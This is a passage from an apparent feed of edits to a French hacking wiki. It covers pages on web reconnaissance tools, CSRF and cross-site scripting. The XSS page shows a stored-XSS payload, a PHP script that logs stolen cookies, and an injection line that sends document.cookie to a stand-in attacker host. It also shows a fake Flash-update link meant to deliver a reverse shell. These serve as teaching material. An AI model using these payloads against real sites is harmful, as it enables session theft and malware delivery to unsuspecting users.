&amp;lt;b&amp;gt;DIRB&amp;lt;/b&amp;gt; est un scanneur de contenu web. Il recherche les objets Web existants (et/ou cachés). Il fonctionne essentiellement en lançant une &amp;lt;b&amp;gt;attaque basée sur un dictionnaire&amp;lt;/b&amp;gt; contre un serveur web et en analysant les réponses.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;DIRB&amp;lt;/b&amp;gt; est livré avec un ensemble de listes de mots d'attaque préconfigurées pour une utilisation facile, mais vous pouvez utiliser vos propres listes de mots.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;DIRB&amp;lt;/b&amp;gt; peut également être utilisé comme un &amp;lt;b&amp;gt;scanner CGI&amp;lt;/b&amp;gt; classique, mais n'oubliez pas qu'il s'agit d'un scanner de contenu et non d'un scanner de vulnérabilité.&lt;br /&gt;
&lt;br /&gt;
L'objectif principal de &amp;lt;b&amp;gt;DIRB&amp;lt;/b&amp;gt; est d'aider à l'audit professionnel d'applications web, en particulier pour les tests liés à la sécurité. Il couvre certaines failles qui ne sont pas couvertes par les scanners classiques de vulnérabilités web. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;DIRB&amp;lt;/b&amp;gt; recherche des objets web spécifiques que les autres scanners CGI génériques ne peuvent pas rechercher. Il ne recherche pas les vulnérabilités, ni les contenus web susceptibles d'être vulnérables.&lt;br /&gt;
&lt;br /&gt;
 $ dirb http://localhost -z 250&lt;br /&gt;
 &lt;br /&gt;
 -----------------&lt;br /&gt;
 DIRB v2.22    &lt;br /&gt;
 By The Dark Raver&lt;br /&gt;
 -----------------&lt;br /&gt;
 &lt;br /&gt;
 START_TIME: Sat Dec  2 13:54:11 2023&lt;br /&gt;
 URL_BASE: http://localhost/&lt;br /&gt;
 WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt&lt;br /&gt;
 SPEED_DELAY: 250 milliseconds&lt;br /&gt;
 &lt;br /&gt;
 -----------------&lt;br /&gt;
 &lt;br /&gt;
 GENERATED WORDS: 4612&lt;br /&gt;
 &lt;br /&gt;
 ---- Scanning URL: http://localhost/ ----&lt;br /&gt;
 &amp;gt; Testing: http://localhost/.hta&lt;br /&gt;
&lt;br /&gt;
 $ man dirb&lt;br /&gt;
&lt;br /&gt;
= CMSEEK = &lt;br /&gt;
Il analyse &amp;lt;b&amp;gt;WordPress&amp;lt;/b&amp;gt;, &amp;lt;b&amp;gt;Joomla&amp;lt;/b&amp;gt;, &amp;lt;b&amp;gt;Drupal&amp;lt;/b&amp;gt; et plus de 180 autres &amp;lt;b&amp;gt;CMS&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Un &amp;lt;b&amp;gt;système de gestion de contenu&amp;lt;/b&amp;gt; (&amp;lt;b&amp;gt;content management system (CMS)&amp;lt;/b&amp;gt;) gère la création et la modification de contenu numérique. Il prend généralement en charge plusieurs utilisateurs dans un environnement collaboratif.&lt;br /&gt;
&lt;br /&gt;
= Nikto =&lt;br /&gt;
nikto - Scan web server for known vulnerabilities&lt;br /&gt;
&lt;br /&gt;
= WPScan =&lt;br /&gt;
WPScan analyse les installations WordPress à distance pour détecter les problèmes de sécurité.&lt;br /&gt;
&lt;br /&gt;
= Dorking =&lt;br /&gt;
&lt;br /&gt;
= MITMproxy =&lt;br /&gt;
MITMproxy est un proxy HTTP man-in-the-middle compatible SSL. Il fournit une interface console qui permet d'inspecter et d'éditer les flux de trafic à la volée.&lt;br /&gt;
&lt;br /&gt;
MITMdump est la version en ligne de commande de MITMproxy, est livrée avec les mêmes fonctionnalités, mais sans fioritures.&lt;br /&gt;
&lt;br /&gt;
Caractéristiques :&lt;br /&gt;
*Intercepte et modifie le trafic HTTP à la volée&lt;br /&gt;
*Sauvegarde des conversations HTTP pour une relecture et une analyse ultérieures&lt;br /&gt;
*Rejoue à la fois les requêtes HTTP clients et serveurs&lt;br /&gt;
*Modification par script du trafic HTTP à l'aide de Python&lt;br /&gt;
*Certificats d'interception SSL sont générés à la volée.&lt;br /&gt;
&lt;br /&gt;
 $ mitmproxy&lt;br /&gt;
&lt;br /&gt;
 $ mitmproxy -h&lt;br /&gt;
&lt;br /&gt;
= OWASP ZAP =&lt;br /&gt;
Le Zed Attack Proxy (ZAP) de OWASP est un outil de test de pénétration intégré et facile à utiliser pour trouver les vulnérabilités dans les applications web.&lt;br /&gt;
&lt;br /&gt;
Il est conçu pour être utilisé par des personnes ayant une expérience variée en matière de sécurité et est donc idéal pour les développeurs et les testeurs fonctionnels qui débutent dans les tests de pénétration, tout en étant un complément utile à la boîte à outils d'un testeur expérimenté.&lt;br /&gt;
&lt;br /&gt;
= Burp Suite =&lt;br /&gt;
Burp Suite est une plateforme intégrée permettant de tester la sécurité des applications web. Ses différents outils fonctionnent de manière transparente pour soutenir l'ensemble du processus de test, depuis la cartographie et l'analyse initiales de la surface d'attaque d'une application jusqu'à la recherche et l'exploitation des vulnérabilités de sécurité.&lt;/div&gt;</summary>
		<author><name>OldNeib</name></author>
	</entry>
	<entry>
		<id>https://wiki.hackbbs.org/index.php?title=Web:Cross-Site_Request_Forgery_-_CSRF_-_XSRF&amp;diff=93552</id>
		<title>Web:Cross-Site Request Forgery - CSRF - XSRF</title>
		<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php?title=Web:Cross-Site_Request_Forgery_-_CSRF_-_XSRF&amp;diff=93552"/>
		<updated>2023-12-02T15:42:36Z</updated>

		<summary type="html">&lt;p&gt;OldNeib : /* Présentation */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Présentation =&lt;br /&gt;
Le &amp;lt;b&amp;gt;Cross-Site Request Forgery&amp;lt;/b&amp;gt;, abrégé &amp;lt;b&amp;gt;CSRF&amp;lt;/b&amp;gt; ou &amp;lt;b&amp;gt;XSRF&amp;lt;/b&amp;gt;, est un type de vulnérabilité des &amp;lt;b&amp;gt;services d'authentification web&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
L’objet de cette attaque est de transmettre &amp;lt;b&amp;gt;à un utilisateur authentifié&amp;lt;/b&amp;gt; une requête HTTP falsifiée qui pointe sur une &amp;lt;b&amp;gt;action interne au site&amp;lt;/b&amp;gt;, afin qu'il l'exécute sans en avoir conscience et en utilisant ses propres droits. L’utilisateur devient donc complice d’une attaque sans même s'en rendre compte. L'attaque étant actionnée par l'utilisateur, un grand nombre de systèmes d'authentification sont contournés.&lt;br /&gt;
&lt;br /&gt;
Les caractéristiques du &amp;lt;b&amp;gt;CSRF&amp;lt;/b&amp;gt; sont un type d'attaque qui :&lt;br /&gt;
*Implique un site qui repose sur l'authentification globale d'un utilisateur&lt;br /&gt;
*Exploite cette confiance dans l'authentification pour autoriser des actions implicitement&lt;br /&gt;
*Envoie des requêtes HTTP à l'insu de l'utilisateur qui est dupé pour déclencher ces actions&lt;br /&gt;
&lt;br /&gt;
Les sites sensibles au &amp;lt;b&amp;gt;CSRF&amp;lt;/b&amp;gt; sont ceux qui acceptent les actions sur le simple fait de &amp;lt;b&amp;gt;l'authentification à un instant donné&amp;lt;/b&amp;gt; de l'utilisateur et non sur une &amp;lt;b&amp;gt;autorisation explicite de l'utilisateur&amp;lt;/b&amp;gt; pour une action donnée.&lt;br /&gt;
&lt;br /&gt;
Il est important de souligner que ces attaques peuvent aussi être menées sur des intranets pour permettre à un attaquant d'en récupérer des informations.&lt;br /&gt;
&lt;br /&gt;
= Exploitation =&lt;br /&gt;
L'exploitation s'apparente à celle d'une [[Cross-Site_Scripting_-_XSS]].&lt;/div&gt;</summary>
		<author><name>OldNeib</name></author>
	</entry>
	<entry>
		<id>https://wiki.hackbbs.org/index.php?title=Web:Cross-Site_Request_Forgery_-_CSRF_-_XSRF&amp;diff=93551</id>
		<title>Web:Cross-Site Request Forgery - CSRF - XSRF</title>
		<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php?title=Web:Cross-Site_Request_Forgery_-_CSRF_-_XSRF&amp;diff=93551"/>
		<updated>2023-12-02T15:39:45Z</updated>

		<summary type="html">&lt;p&gt;OldNeib : /* Exploitation */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Présentation =&lt;br /&gt;
Le cross-site request forgery, abrégé CSRF ou XSRF, est un type de vulnérabilité des services d'authentification web.&lt;br /&gt;
&lt;br /&gt;
L’objet de cette attaque est de transmettre à un utilisateur authentifié une requête HTTP falsifiée qui pointe sur une action interne au site, afin qu'il l'exécute sans en avoir conscience et en utilisant ses propres droits. L’utilisateur devient donc complice d’une attaque sans même s'en rendre compte. L'attaque étant actionnée par l'utilisateur, un grand nombre de systèmes d'authentification sont contournés.&lt;br /&gt;
&lt;br /&gt;
Les caractéristiques du CSRF sont un type d'attaque qui :&lt;br /&gt;
*Implique un site qui repose sur l'authentification globale d'un utilisateur&lt;br /&gt;
*Exploite cette confiance dans l'authentification pour autoriser des actions implicitement&lt;br /&gt;
*Envoie des requêtes HTTP à l'insu de l'utilisateur qui est dupé pour déclencher ces actions&lt;br /&gt;
&lt;br /&gt;
Les sites sensibles au CSRF sont ceux qui acceptent les actions sur le simple fait de l'authentification à un instant donné de l'utilisateur et non sur une autorisation explicite de l'utilisateur pour une action donnée.&lt;br /&gt;
&lt;br /&gt;
Il est important de souligner que ces attaques peuvent aussi être menées sur des intranets pour permettre à un attaquant d'en récupérer des informations.&lt;br /&gt;
&lt;br /&gt;
= Exploitation =&lt;br /&gt;
L'exploitation s'apparente à celle d'une [[Cross-Site_Scripting_-_XSS]].&lt;/div&gt;</summary>
		<author><name>OldNeib</name></author>
	</entry>
	<entry>
		<id>https://wiki.hackbbs.org/index.php?title=Web:Cross-Site_Scripting_-_XSS&amp;diff=93549</id>
		<title>Web:Cross-Site Scripting - XSS</title>
		<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php?title=Web:Cross-Site_Scripting_-_XSS&amp;diff=93549"/>
		<updated>2023-12-02T15:36:06Z</updated>

		<summary type="html">&lt;p&gt;OldNeib : Neib a déplacé la page Cross-Site Scipting - XSS vers Cross-Site Scripting - XSS&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Présentation =&lt;br /&gt;
Cette vulnérabilité est possible lorsqu'une valeur qui peut être contrôlée par l'utilisateur est injectée dans une page web sans suffisamment de contrôles, et que cette valeur peut être du code HTML ou JavaScript valide, qui sera alors interprété par le navigateur.&lt;br /&gt;
&lt;br /&gt;
Imaginons un site où il serait possible d'uploader une image. Nous envoyons donc une image avec comme nom: &amp;lt;b&amp;gt;lapin.jpg&amp;lt;/b&amp;gt; et comme description: &amp;lt;b&amp;gt;Oh! Trop mignon!&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
La page retournée nous renverrait alors l'image sous la forme:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;img src=&amp;quot;./lapin.jpg&amp;quot; title=&amp;quot;Oh! Trop mignon!&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Un cas classique d'exploitation serait de remplacer la description: &amp;lt;b&amp;gt;Oh! Trop mignon!&amp;lt;/b&amp;gt; par: &amp;lt;b&amp;gt;&amp;quot; /&amp;gt;&amp;lt;script&amp;gt;alert('Hacked!');&amp;lt;/script&amp;gt;&amp;lt;p class=&amp;quot;&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Le site nous retournerait alors:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;img src=&amp;quot;./lapin.jpg&amp;quot; title=&amp;quot;&amp;quot; /&amp;gt;&amp;lt;script&amp;gt;alert('Hacked!');&amp;lt;/script&amp;gt;&amp;lt;p class=&amp;quot;&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ce code HTML étant valide, notre JavaScript sera exécuté au sein du navigateur.&lt;br /&gt;
&lt;br /&gt;
En se débrouillant pour faire afficher cette image à un autre utilisateur, le code s'exécutera cette fois ci dans son navigateur. Il est ainsi possible de récupérer certaines informations sensibles ou alors de faire exécuter quelque action depuis le navigateur de notre cible.&lt;br /&gt;
&lt;br /&gt;
Ici, comme le code injecté est enregistré par le serveur via notre image, quiconque se rendra sur la page où notre image est enregistré se verra exécuter notre script.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Éxploitation =&lt;br /&gt;
== Exemple de récupération de cookies ==&lt;br /&gt;
*Préparation du fichier &amp;lt;b&amp;gt;getCookie.php&amp;lt;/b&amp;gt;. Celui-ci devra être enregistré de façon `pouvoir être consulté depuis le navigateur de notre cible.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
     $cookie = $_GET['v'] . &amp;quot;\n&amp;quot;;&lt;br /&gt;
     file_put_contents(&amp;quot;cookies.txt&amp;quot;, $cookie, FILE_APPEND | LOCK_EX);&lt;br /&gt;
 ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*La victime doit maintenant accéder à notre page:&lt;br /&gt;
&lt;br /&gt;
 &amp;quot; /&amp;gt;&amp;lt;script&amp;gt;document.location=&amp;quot;http://attaquant.com/getCookie.php?v=&amp;quot; + document.cookie;&amp;lt;/script&amp;gt;&amp;lt;p class=&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La page contenant l'image deviendra alors:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;img src=&amp;quot;./lapin.jpg&amp;quot; title=&amp;quot;&amp;quot; /&amp;gt;&amp;lt;script&amp;gt;document.location=&amp;quot;http://control.domain/get.php?v=&amp;quot; + document.cookie;&amp;lt;/script&amp;gt;&amp;lt;p class=&amp;quot;&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Une fois arrivé sur la page piégée, l'utilisateur sera redirigé vers notre page avec ses cookies en paramètre. Cookies qui seront enregistrés dans un fichier nommé &amp;lt;b&amp;gt;cookie.txt&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Social Engineering ==&lt;br /&gt;
Un exemple d'attaque à adapter selon son imagination:&lt;br /&gt;
*Création d'un exécutable type [[Reverse Shell]] ou autre.&lt;br /&gt;
*Simulation d'un plugin manquant pour lire ou exécuter un contenu sur le navigateur de notre victime. Ex: &amp;quot;Pour continuer, Flash Player doit être mis à jour.&amp;quot; + image utilisée lorsqu'un plugin est réellement manquant.&lt;br /&gt;
*Téléchargement de notre faux plugin par la victime, puis exécution.&lt;br /&gt;
&lt;br /&gt;
 &amp;quot; /&amp;gt; &amp;lt;a href=&amp;quot;http://control.domain/flash_update.exe&amp;quot;&amp;gt;&amp;lt;img src=&amp;quot;http://control.domain/flash.png&amp;quot; /&amp;gt;&amp;lt;/a&amp;gt; &amp;lt;p alt=&amp;quot;&lt;br /&gt;
&lt;br /&gt;
= Cheat Sheet =&lt;br /&gt;
*https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection&lt;br /&gt;
*https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet&lt;/div&gt;</summary>
		<author><name>OldNeib</name></author>
	</entry>
	<entry>
		<id>https://wiki.hackbbs.org/index.php?title=Web:Cross-Site_Request_Forgery_-_CSRF_-_XSRF&amp;diff=93548</id>
		<title>Web:Cross-Site Request Forgery - CSRF - XSRF</title>
		<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php?title=Web:Cross-Site_Request_Forgery_-_CSRF_-_XSRF&amp;diff=93548"/>
		<updated>2023-12-02T15:35:40Z</updated>

		<summary type="html">&lt;p&gt;OldNeib : Page créée avec « = Présentation = Le cross-site request forgery, abrégé CSRF ou XSRF, est un type de vulnérabilité des services d'authentification web.  L’objet de cette attaque est de transmettre à un utilisateur authentifié une requête HTTP falsifiée qui pointe sur une action interne au site, afin qu'il l'exécute sans en avoir conscience et en utilisant ses propres droits. L’utilisateur devient donc complice d’une attaque sans même s'en rendre compte. L'attaque... »&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Présentation =&lt;br /&gt;
Le cross-site request forgery, abrégé CSRF ou XSRF, est un type de vulnérabilité des services d'authentification web.&lt;br /&gt;
&lt;br /&gt;
L’objet de cette attaque est de transmettre à un utilisateur authentifié une requête HTTP falsifiée qui pointe sur une action interne au site, afin qu'il l'exécute sans en avoir conscience et en utilisant ses propres droits. L’utilisateur devient donc complice d’une attaque sans même s'en rendre compte. L'attaque étant actionnée par l'utilisateur, un grand nombre de systèmes d'authentification sont contournés.&lt;br /&gt;
&lt;br /&gt;
Les caractéristiques du CSRF sont un type d'attaque qui :&lt;br /&gt;
*Implique un site qui repose sur l'authentification globale d'un utilisateur&lt;br /&gt;
*Exploite cette confiance dans l'authentification pour autoriser des actions implicitement&lt;br /&gt;
*Envoie des requêtes HTTP à l'insu de l'utilisateur qui est dupé pour déclencher ces actions&lt;br /&gt;
&lt;br /&gt;
Les sites sensibles au CSRF sont ceux qui acceptent les actions sur le simple fait de l'authentification à un instant donné de l'utilisateur et non sur une autorisation explicite de l'utilisateur pour une action donnée.&lt;br /&gt;
&lt;br /&gt;
Il est important de souligner que ces attaques peuvent aussi être menées sur des intranets pour permettre à un attaquant d'en récupérer des informations.&lt;br /&gt;
&lt;br /&gt;
= Exploitation =&lt;br /&gt;
L'exploitation s'apparente à celle d'une [[Cross-Site_Scipting_-_XSS]].&lt;/div&gt;</summary>
		<author><name>OldNeib</name></author>
	</entry>
	<entry>
		<id>https://wiki.hackbbs.org/index.php?title=Hacking:Recherche_d%27information_sur_cible&amp;diff=93547</id>
		<title>Hacking:Recherche d'information sur cible</title>
		<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php?title=Hacking:Recherche_d%27information_sur_cible&amp;diff=93547"/>
		<updated>2023-12-02T15:18:02Z</updated>

		<summary type="html">&lt;p&gt;OldNeib : /* Dirb */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Nmap =&lt;br /&gt;
&amp;lt;b&amp;gt;Nmap&amp;lt;/b&amp;gt; est un utilitaire pour l'exploration de réseau et l'audit de sécurité. Il supporte le &amp;lt;b&amp;gt;balayage ping&amp;lt;/b&amp;gt; (déterminer quels hôtes sont allumés), de nombreuses techniques de &amp;lt;b&amp;gt;balayage de ports&amp;lt;/b&amp;gt;, la &amp;lt;b&amp;gt;détection de version&amp;lt;/b&amp;gt; (déterminer les protocoles de services et les versions d'applications qui écoutent derrière ces ports) et les &amp;lt;b&amp;gt;empreintes TCP/IP&amp;lt;/b&amp;gt; (identification du système d'exploitation ou du périphérique à distance).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Nmap&amp;lt;/b&amp;gt; offre aussi une spécification flexible de cible et de port, le balayage avec diversion ou furtif, le balayage de RPC Sun... La plupart des plate-formes Unix et Windows sont supportées en mode graphique et ligne de commande. Plusieurs périphériques portables populaires sont aussi supportés dont le Sharp Zaurus et le iPAQ.&lt;br /&gt;
&lt;br /&gt;
 $ nmap &amp;lt;domain|ip&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Beaucoup d'options sont disponibles, pour une liste complète:&lt;br /&gt;
 $ man nmap&lt;br /&gt;
&lt;br /&gt;
 $ nmap -h&lt;br /&gt;
&lt;br /&gt;
= Dirb =&lt;br /&gt;
&amp;lt;b&amp;gt;DIRB&amp;lt;/b&amp;gt; est un scanneur de contenu web. Il recherche les objets Web existants (et/ou cachés). Il fonctionne essentiellement en lançant une &amp;lt;b&amp;gt;attaque basée sur un dictionnaire&amp;lt;/b&amp;gt; contre un serveur web et en analysant les réponses.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;DIRB&amp;lt;/b&amp;gt; est livré avec un ensemble de listes de mots d'attaque préconfigurées pour une utilisation facile, mais vous pouvez utiliser vos propres listes de mots.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;DIRB&amp;lt;/b&amp;gt; peut également être utilisé comme un &amp;lt;b&amp;gt;scanner CGI&amp;lt;/b&amp;gt; classique, mais n'oubliez pas qu'il s'agit d'un scanner de contenu et non d'un scanner de vulnérabilité.&lt;br /&gt;
&lt;br /&gt;
L'objectif principal de &amp;lt;b&amp;gt;DIRB&amp;lt;/b&amp;gt; est d'aider à l'audit professionnel d'applications web, en particulier pour les tests liés à la sécurité. Il couvre certaines failles qui ne sont pas couvertes par les scanners classiques de vulnérabilités web. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;DIRB&amp;lt;/b&amp;gt; recherche des objets web spécifiques que les autres scanners CGI génériques ne peuvent pas rechercher. Il ne recherche pas les vulnérabilités, ni les contenus web susceptibles d'être vulnérables.&lt;br /&gt;
&lt;br /&gt;
 $ dirb http://localhost -z 250&lt;br /&gt;
 &lt;br /&gt;
 -----------------&lt;br /&gt;
 DIRB v2.22    &lt;br /&gt;
 By The Dark Raver&lt;br /&gt;
 -----------------&lt;br /&gt;
 &lt;br /&gt;
 START_TIME: Sat Dec  2 13:54:11 2023&lt;br /&gt;
 URL_BASE: http://localhost/&lt;br /&gt;
 WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt&lt;br /&gt;
 SPEED_DELAY: 250 milliseconds&lt;br /&gt;
 &lt;br /&gt;
 -----------------&lt;br /&gt;
 &lt;br /&gt;
 GENERATED WORDS: 4612&lt;br /&gt;
 &lt;br /&gt;
 ---- Scanning URL: http://localhost/ ----&lt;br /&gt;
 &amp;gt; Testing: http://localhost/.hta&lt;br /&gt;
&lt;br /&gt;
 $ man dirb&lt;br /&gt;
&lt;br /&gt;
= CMSEEK = &lt;br /&gt;
Il analyse WordPress, Joomla, Drupal et plus de 180 autres CMS.&lt;br /&gt;
&lt;br /&gt;
Un système de gestion de contenu (content management system (CMS)) gère la création et la modification de contenu numérique. Il prend généralement en charge plusieurs utilisateurs dans un environnement collaboratif.&lt;br /&gt;
&lt;br /&gt;
= Nikto =&lt;br /&gt;
nikto - Scan web server for known vulnerabilities&lt;br /&gt;
&lt;br /&gt;
= WPScan =&lt;br /&gt;
WPScan analyse les installations WordPress à distance pour détecter les problèmes de sécurité.&lt;br /&gt;
&lt;br /&gt;
= Dorking =&lt;br /&gt;
&lt;br /&gt;
= MITMproxy =&lt;br /&gt;
MITMproxy est un proxy HTTP man-in-the-middle compatible SSL. Il fournit une interface console qui permet d'inspecter et d'éditer les flux de trafic à la volée.&lt;br /&gt;
&lt;br /&gt;
MITMdump est la version en ligne de commande de MITMproxy, est livrée avec les mêmes fonctionnalités, mais sans fioritures.&lt;br /&gt;
&lt;br /&gt;
Caractéristiques :&lt;br /&gt;
*Intercepte et modifie le trafic HTTP à la volée&lt;br /&gt;
*Sauvegarde des conversations HTTP pour une relecture et une analyse ultérieures&lt;br /&gt;
*Rejoue à la fois les requêtes HTTP clients et serveurs&lt;br /&gt;
*Modification par script du trafic HTTP à l'aide de Python&lt;br /&gt;
*Certificats d'interception SSL sont générés à la volée.&lt;br /&gt;
&lt;br /&gt;
 $ mitmproxy&lt;br /&gt;
&lt;br /&gt;
 $ mitmproxy -h&lt;br /&gt;
&lt;br /&gt;
= OWASP ZAP =&lt;br /&gt;
Le Zed Attack Proxy (ZAP) de OWASP est un outil de test de pénétration intégré et facile à utiliser pour trouver les vulnérabilités dans les applications web.&lt;br /&gt;
&lt;br /&gt;
Il est conçu pour être utilisé par des personnes ayant une expérience variée en matière de sécurité et est donc idéal pour les développeurs et les testeurs fonctionnels qui débutent dans les tests de pénétration, tout en étant un complément utile à la boîte à outils d'un testeur expérimenté.&lt;br /&gt;
&lt;br /&gt;
= Burp Suite =&lt;br /&gt;
Burp Suite est une plateforme intégrée permettant de tester la sécurité des applications web. Ses différents outils fonctionnent de manière transparente pour soutenir l'ensemble du processus de test, depuis la cartographie et l'analyse initiales de la surface d'attaque d'une application jusqu'à la recherche et l'exploitation des vulnérabilités de sécurité.&lt;/div&gt;</summary>
		<author><name>OldNeib</name></author>
	</entry>
	<entry>
		<id>https://wiki.hackbbs.org/index.php?title=Hacking:Recherche_d%27information_sur_cible&amp;diff=93546</id>
		<title>Hacking:Recherche d'information sur cible</title>
		<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php?title=Hacking:Recherche_d%27information_sur_cible&amp;diff=93546"/>
		<updated>2023-12-02T15:12:50Z</updated>

		<summary type="html">&lt;p&gt;OldNeib : /* Nmap */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Nmap =&lt;br /&gt;
&amp;lt;b&amp;gt;Nmap&amp;lt;/b&amp;gt; est un utilitaire pour l'exploration de réseau et l'audit de sécurité. Il supporte le &amp;lt;b&amp;gt;balayage ping&amp;lt;/b&amp;gt; (déterminer quels hôtes sont allumés), de nombreuses techniques de &amp;lt;b&amp;gt;balayage de ports&amp;lt;/b&amp;gt;, la &amp;lt;b&amp;gt;détection de version&amp;lt;/b&amp;gt; (déterminer les protocoles de services et les versions d'applications qui écoutent derrière ces ports) et les &amp;lt;b&amp;gt;empreintes TCP/IP&amp;lt;/b&amp;gt; (identification du système d'exploitation ou du périphérique à distance).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Nmap&amp;lt;/b&amp;gt; offre aussi une spécification flexible de cible et de port, le balayage avec diversion ou furtif, le balayage de RPC Sun... La plupart des plate-formes Unix et Windows sont supportées en mode graphique et ligne de commande. Plusieurs périphériques portables populaires sont aussi supportés dont le Sharp Zaurus et le iPAQ.&lt;br /&gt;
&lt;br /&gt;
 $ nmap &amp;lt;domain|ip&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Beaucoup d'options sont disponibles, pour une liste complète:&lt;br /&gt;
 $ man nmap&lt;br /&gt;
&lt;br /&gt;
 $ nmap -h&lt;br /&gt;
&lt;br /&gt;
= Dirb =&lt;br /&gt;
Dirb est un scanneur de contenu web, il va servir à énumérer des dossiers potentiellement présents sur une cible donnée.&lt;br /&gt;
&lt;br /&gt;
 $ dirb http://localhost -z 250&lt;br /&gt;
 &lt;br /&gt;
 -----------------&lt;br /&gt;
 DIRB v2.22    &lt;br /&gt;
 By The Dark Raver&lt;br /&gt;
 -----------------&lt;br /&gt;
 &lt;br /&gt;
 START_TIME: Sat Dec  2 13:54:11 2023&lt;br /&gt;
 URL_BASE: http://localhost/&lt;br /&gt;
 WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt&lt;br /&gt;
 SPEED_DELAY: 250 milliseconds&lt;br /&gt;
 &lt;br /&gt;
 -----------------&lt;br /&gt;
 &lt;br /&gt;
 GENERATED WORDS: 4612&lt;br /&gt;
 &lt;br /&gt;
 ---- Scanning URL: http://localhost/ ----&lt;br /&gt;
 &amp;gt; Testing: http://localhost/.hta&lt;br /&gt;
&lt;br /&gt;
 $ man dirb&lt;br /&gt;
&lt;br /&gt;
= CMSEEK = &lt;br /&gt;
Il analyse WordPress, Joomla, Drupal et plus de 180 autres CMS.&lt;br /&gt;
&lt;br /&gt;
Un système de gestion de contenu (content management system (CMS)) gère la création et la modification de contenu numérique. Il prend généralement en charge plusieurs utilisateurs dans un environnement collaboratif.&lt;br /&gt;
&lt;br /&gt;
= Nikto =&lt;br /&gt;
nikto - Scan web server for known vulnerabilities&lt;br /&gt;
&lt;br /&gt;
= WPScan =&lt;br /&gt;
WPScan analyse les installations WordPress à distance pour détecter les problèmes de sécurité.&lt;br /&gt;
&lt;br /&gt;
= Dorking =&lt;br /&gt;
&lt;br /&gt;
= MITMproxy =&lt;br /&gt;
MITMproxy est un proxy HTTP man-in-the-middle compatible SSL. Il fournit une interface console qui permet d'inspecter et d'éditer les flux de trafic à la volée.&lt;br /&gt;
&lt;br /&gt;
MITMdump est la version en ligne de commande de MITMproxy, est livrée avec les mêmes fonctionnalités, mais sans fioritures.&lt;br /&gt;
&lt;br /&gt;
Caractéristiques :&lt;br /&gt;
*Intercepte et modifie le trafic HTTP à la volée&lt;br /&gt;
*Sauvegarde des conversations HTTP pour une relecture et une analyse ultérieures&lt;br /&gt;
*Rejoue à la fois les requêtes HTTP clients et serveurs&lt;br /&gt;
*Modification par script du trafic HTTP à l'aide de Python&lt;br /&gt;
*Certificats d'interception SSL sont générés à la volée.&lt;br /&gt;
&lt;br /&gt;
 $ mitmproxy&lt;br /&gt;
&lt;br /&gt;
 $ mitmproxy -h&lt;br /&gt;
&lt;br /&gt;
= OWASP ZAP =&lt;br /&gt;
Le Zed Attack Proxy (ZAP) de OWASP est un outil de test de pénétration intégré et facile à utiliser pour trouver les vulnérabilités dans les applications web.&lt;br /&gt;
&lt;br /&gt;
Il est conçu pour être utilisé par des personnes ayant une expérience variée en matière de sécurité et est donc idéal pour les développeurs et les testeurs fonctionnels qui débutent dans les tests de pénétration, tout en étant un complément utile à la boîte à outils d'un testeur expérimenté.&lt;br /&gt;
&lt;br /&gt;
= Burp Suite =&lt;br /&gt;
Burp Suite est une plateforme intégrée permettant de tester la sécurité des applications web. Ses différents outils fonctionnent de manière transparente pour soutenir l'ensemble du processus de test, depuis la cartographie et l'analyse initiales de la surface d'attaque d'une application jusqu'à la recherche et l'exploitation des vulnérabilités de sécurité.&lt;/div&gt;</summary>
		<author><name>OldNeib</name></author>
	</entry>
	<entry>
		<id>https://wiki.hackbbs.org/index.php?title=Hacking:Recherche_d%27information_sur_cible&amp;diff=93545</id>
		<title>Hacking:Recherche d'information sur cible</title>
		<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php?title=Hacking:Recherche_d%27information_sur_cible&amp;diff=93545"/>
		<updated>2023-12-02T14:53:30Z</updated>

		<summary type="html">&lt;p&gt;OldNeib : /* Burp Suite */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Nmap =&lt;br /&gt;
Nmap est un outil d'exploration réseau et un scanneur de ports.&lt;br /&gt;
